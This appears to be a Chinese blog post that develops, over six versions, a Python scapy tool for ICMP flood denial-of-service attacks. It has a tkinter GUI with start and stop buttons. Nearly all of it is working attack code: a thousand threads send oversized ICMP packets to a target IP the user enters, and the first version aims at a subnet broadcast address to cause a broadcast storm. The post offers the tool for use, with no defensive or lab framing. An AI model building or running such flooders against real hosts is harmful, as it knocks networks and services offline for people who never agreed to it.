基于python的 ICMP洪水攻击 GUI迭代版

详细 ICMP洪水攻击 GUI迭代版

第一版 基础版

 import threading
 ​
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 ​
 ​
 def icmp_flood():
     while True:
         payload='我没有攻击你!'
         #让ping的数据包变大点 192.168.120.195
         # ICMP广播风暴192.168.120.255
         data = IP(dst='192.168.117.255')/ICMP()/payload*20000
         #不需要打印发包详细信息 .........
         send(data,verbose=False)
 if __name__ == '__main__':
     for i in range(1000):
         threading.Thread(target=icmp_flood).start()

第二版 可视化版

 import threading
 import tkinter as tk
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 ​
 ​
 def icmp_flood(ip):
     while True:
         payload = '我没有攻击你!'
         data = IP(dst=ip)/ICMP()/payload*20000
         send(data, verbose=False)
 ​
 ​
 def start_attack():
     ip = ip_entry.get()
     for i in range(1000):
         threading.Thread(target=icmp_flood, args=(ip,)).start()
 # 创建的窗口对象,所以传入root表示运行主事件循环的是这个窗口。
 # 这样,GUI界面就能够接收和处理用户的输入和事件。
 #创建了一个Tk对象
 root = tk.Tk()
 root.title("ICMP洪水攻击")
 #创建了一个标签控件
 ip_label = tk.Label(root, text="IP地址:")
 ip_label.pack()
 #创建了一个输入框控件
 ip_entry = tk.Entry(root)
 ip_entry.pack()# 使用pack()方法将ip_entry输入框添加到GUI窗口中,使其显示在窗口中。
 #行创建了一个按钮控件,显示文本"开始攻击",并将start_attack函数绑定到按钮的command属性。
 attack_button = tk.Button(root, text="Start Attack", command=start_attack)
 # 调用pack()方法来将控件添加到root窗口中
 attack_button.pack()
 ​
 root.mainloop()#启动Tk的主事件循环,使GUI界面可以响应用户操作

  • 第1行定义了一个名为icmp_flood的函数,它接受一个IP地址作为参数。函数使用一个无限循环来发送ICMP数据包,数据包的负载是一个字符串"我没有攻击你!"。数据包通过IP()和ICMP()函数构建,并设置了目标IP地址。然后使用send()函数发送数据包,verbose参数设置为False以禁用详细输出。

  • 第7行定义了一个名为start_attack的函数,用于启动攻击。函数首先获取用户在IP地址输入框中输入的IP地址。然后通过一个循环启动1000个线程,每个线程调用icmp_flood函数来执行ICMP Flood攻击。

  • 第15行创建了一个Tk对象,并设置标题为"ICMP Flood Attack"。

  • 第17行创建了一个标签控件,显示文本"IP地址:"。

  • 第19行创建了一个输入框控件,用于用户输入目标IP地址。

  • 第21行创建了一个按钮控件,显示文本"开始攻击",并将start_attack函数绑定到按钮的command属性。

  • 第23行调用pack()方法来将控件添加到root窗口中。

  • 第25行启动Tk的主事件循环,使GUI界面可以响应用户操作。

第三版 修正版 1.0

 
# 导入ScrolledText模块,并使用ScrolledText替换原来的Text部件,以实现带滚动条的文本框。
 # 使用ThreadPoolExecutor替换原来的threading.Thread,以实现线程池的使用。
 # 添加redirect_output函数,将标准输出重定向到输出文本框,以便显示攻击过程中的输出信息。
 ​
 import tkinter as tk
 # # 导入线程池执行器
 from concurrent.futures import ThreadPoolExecutor
 #  # 导入滚动文本框
 from tkinter.scrolledtext import ScrolledText
 ​
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 ​
 ​
 def icmp_flood(ip):
     while True:
         payload = '我没有攻击你!'
         data = IP(dst=ip)/ICMP()/payload*20000
         send(data, verbose=False)
 ​
 def start_attack():
     ip = ip_entry.get()
     with ThreadPoolExecutor(max_workers=1000) as executor:
         for _ in range(1000):
             executor.submit(icmp_flood, ip)
 ​
 root = tk.Tk()
 root.title("ICMP洪水攻击")
 ​
 ip_label = tk.Label(root, text="IP地址:")
 ip_label.pack()
 ​
 ip_entry = tk.Entry(root)
 ip_entry.pack()
 ​
 attack_button = tk.Button(root, text="开始攻击", command=start_attack)
 attack_button.pack()
 ​
 output_text = ScrolledText(root) # 创建一个滚动文本框实例
 output_text.pack() # 将滚动文本框放置到界面上
 ​
 def redirect_output():
     # sys模块,它提供了对Python解释器的访问和控制。
     import sys
     #  将标准输出流重定向到了output_text变量所代表的滚动文本框
     sys.stdout = output_text
     # sys.stdout是sys模块中的一个对象,它表示标准输出流(通常是控制台)。
 ​
 redirect_output()
 ​
 root.mainloop()
 

运行完发现,妈的卡死,然后继续研究

第四版 修正版 2.0

 ​
 ​
 
# 优化的内容:
 # 1. 将攻击过程放在单独的线程`attack_thread`中执行,这样可以避免阻塞GUI界面。
 # 2. 在`start_attack`函数中,启动`attack_thread`线程来执行攻击过程。
 # 3. 通过`threading.Thread`创建并启动线程,以实现攻击过程的并发执行。
 ​
 import threading
 import tkinter as tk
 from tkinter.scrolledtext import ScrolledText
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 from concurrent.futures import ThreadPoolExecutor
 ​
 ​
 def icmp_flood(ip):
     while True:
         payload = '我没有攻击你!'
         data = IP(dst=ip)/ICMP()/payload*20000
         send(data, verbose=False)
 ​
 def start_attack():  # 定义开始攻击函数
     ip = ip_entry.get()  # 获取输入框中的IP地址
     threading.Thread(target=attack_thread, args=(ip,)).start()  # 创建并启动一个线程,调用attack_thread函数
 ​
 def attack_thread(ip):  # 定义攻击线程函数
     with ThreadPoolExecutor(max_workers=1000) as executor:  # 使用最多1000个线程的线程池执行器
         for _ in range(1000):  # 循环1000次
             executor.submit(icmp_flood, ip)  # 提交icmp_flood函数到线程池中执行
 ​
 root = tk.Tk()
 root.title("ICMP洪水攻击")
 ​
 ip_label = tk.Label(root, text="IP地址:")
 ip_label.pack()
 ​
 ip_entry = tk.Entry(root)
 ip_entry.pack()
 ​
 attack_button = tk.Button(root, text="开始攻击", command=start_attack)
 attack_button.pack()
 ​
 output_text = ScrolledText(root)
 output_text.pack()
 ​
 def redirect_output():
     import sys
     sys.stdout = output_text
 ​
 redirect_output()
 ​
 root.mainloop()
 ​

这样,当用户点击"Start Attack"按钮时,攻击过程将在后台运行,不会阻塞GUI界面的响应,用户可以继续进行其他操作。同时,攻击过程的输出信息将显示在输出文本框中。

总结:

def start_attack():
     ip = ip_entry.get()
     # 创建并启动一个线程,调用attack_thread函数,并将获取到的IP地址作为参数传递给attack_thread函数。
     threading.Thread(target=attack_thread, args=(ip,)).start()
 ​
 def attack_thread(ip):
     with ThreadPoolExecutor(max_workers=1000) as executor:
         for _ in range(1000):
             # 将icmp_flood函数提交到线程池中执行,同时将IP地址作为参数传递给icmp_flood函数。
             executor.submit(icmp_flood, ip))

这段代码的目的是启动一个攻击线程,该线程会创建一个线程池,并在线程池中执行icmp_flood函数来进行攻击。

注:这段代码中使用了threadingThreadPoolExecutor模块来实现多线程操作。

其中for _ in range(1000),使用下划线是为了表示一个不需要使用的临时变量。在for循环中,下划线代表一个循环变量,但是在代码中并没有使用它的值。这是因为循环的目的是为了重复执行某个操作,而不需要使用循环变量的值。

第五版 修正版 3.0

# 修改的内容:
 #
 # 添加了一个全局变量attack_flag来控制攻击的开始和停止。初始值为False表示没有开始攻击。
 # 在icmp_flood函数中,通过循环判断attack_flag的值,来决定是否继续发送攻击数据包。
 # 添加了一个stop_attack函数,用于停止攻击。在该函数中,将attack_flag设置为False,以停止攻击线程的运行。
 # 在GUI界面上添加了一个"Stop Attack"按钮,并将其绑定到stop_attack函数上。
 ​
 ​
 import threading
 import tkinter as tk
 from tkinter.scrolledtext import ScrolledText
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 from concurrent.futures import ThreadPoolExecutor
 ​
 attack_flag = False
 ​
 def icmp_flood(ip):
     while attack_flag:
         payload = '我没有攻击你!'
         data = IP(dst=ip)/ICMP()/payload*20000
         send(data, verbose=False)
         output_text.insert(tk.END, "Attack sent to {}\n".format(ip))
         output_text.see(tk.END)
 ​
 def start_attack():
     global attack_flag
     ip = ip_entry.get()
     attack_flag = True
     threading.Thread(target=attack_thread, args=(ip,)).start()
 ​
 def stop_attack():
     global attack_flag
     attack_flag = False
 ​
 def attack_thread(ip):
     with ThreadPoolExecutor(max_workers=1000) as executor:
         for _ in range(1000):
             executor.submit(icmp_flood, ip)
             if not attack_flag:
                 break
 ​
 root = tk.Tk()
 root.title("ICMP洪水攻击")
 ​
 ip_label = tk.Label(root, text="输入攻击的IP地址:")
 ip_label.pack()
 ​
 ip_entry = tk.Entry(root)
 ip_entry.pack()
 ​
 attack_button = tk.Button(root, text="开始攻击", command=start_attack)
 attack_button.pack()
 ​
 stop_button = tk.Button(root, text="停止攻击", command=stop_attack)
 stop_button.pack()
 ​
 output_text = ScrolledText(root)
 output_text.pack()
 ​
 def redirect_output():
     import sys
     sys.stdout = output_text
 ​
 redirect_output()
 ​
 root.mainloop()

第六版 最终版———封装成类

        要将代码改写为类形式,您可以创建一个继承自tkinter.Tk的自定义类,并将相关功能封装在类的方法中。

 import tkinter as tk
 from tkinter.scrolledtext import ScrolledText
 from scapy.layers.inet import IP, ICMP
 from scapy.sendrecv import send
 from concurrent.futures import ThreadPoolExecutor
 ​
 class ICMPFloodAttackApp(tk.Tk):
     def __init__(self):
         super().__init__()
         self.title("ICMP洪水攻击")
         self.attack_flag = False
         self.create_widgets()
 ​
     def create_widgets(self):
         ip_label = tk.Label(self, text="IP地址:")
         ip_label.pack()
 ​
         self.ip_entry = tk.Entry(self)
         self.ip_entry.pack()
 ​
         attack_button = tk.Button(self, text="开始攻击", command=self.start_attack)
         attack_button.pack()
 ​
         stop_button = tk.Button(self, text="停止攻击", command=self.stop_attack)
         stop_button.pack()
 ​
         self.output_text = ScrolledText(self)
         self.output_text.pack()
 ​
         self.redirect_output()
 ​
     def redirect_output(self):
         import sys
         sys.stdout = self.output_text
 ​
     def icmp_flood(self, ip):
         while self.attack_flag:
             payload = '我没有攻击你!'
             data = IP(dst=ip)/ICMP()/payload*20000
             send(data, verbose=False)
             self.output_text.insert(tk.END, "Attack sent to {}\n".format(ip))
             self.output_text.see(tk.END)
 ​
     def start_attack(self):
         self.attack_flag = True
         ip = self.ip_entry.get()
         threading.Thread(target=self.attack_thread, args=(ip,)).start()
 ​
     def stop_attack(self):
         self.attack_flag = False
 ​
     def attack_thread(self, ip):
         with ThreadPoolExecutor(max_workers=1000) as executor:
             for _ in range(1000):
                 executor.submit(self.icmp_flood, ip)
                 if not self.attack_flag:
                     break
 ​
 if __name__ == "__main__":
     app = ICMPFloodAttackApp()
     app.mainloop()

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值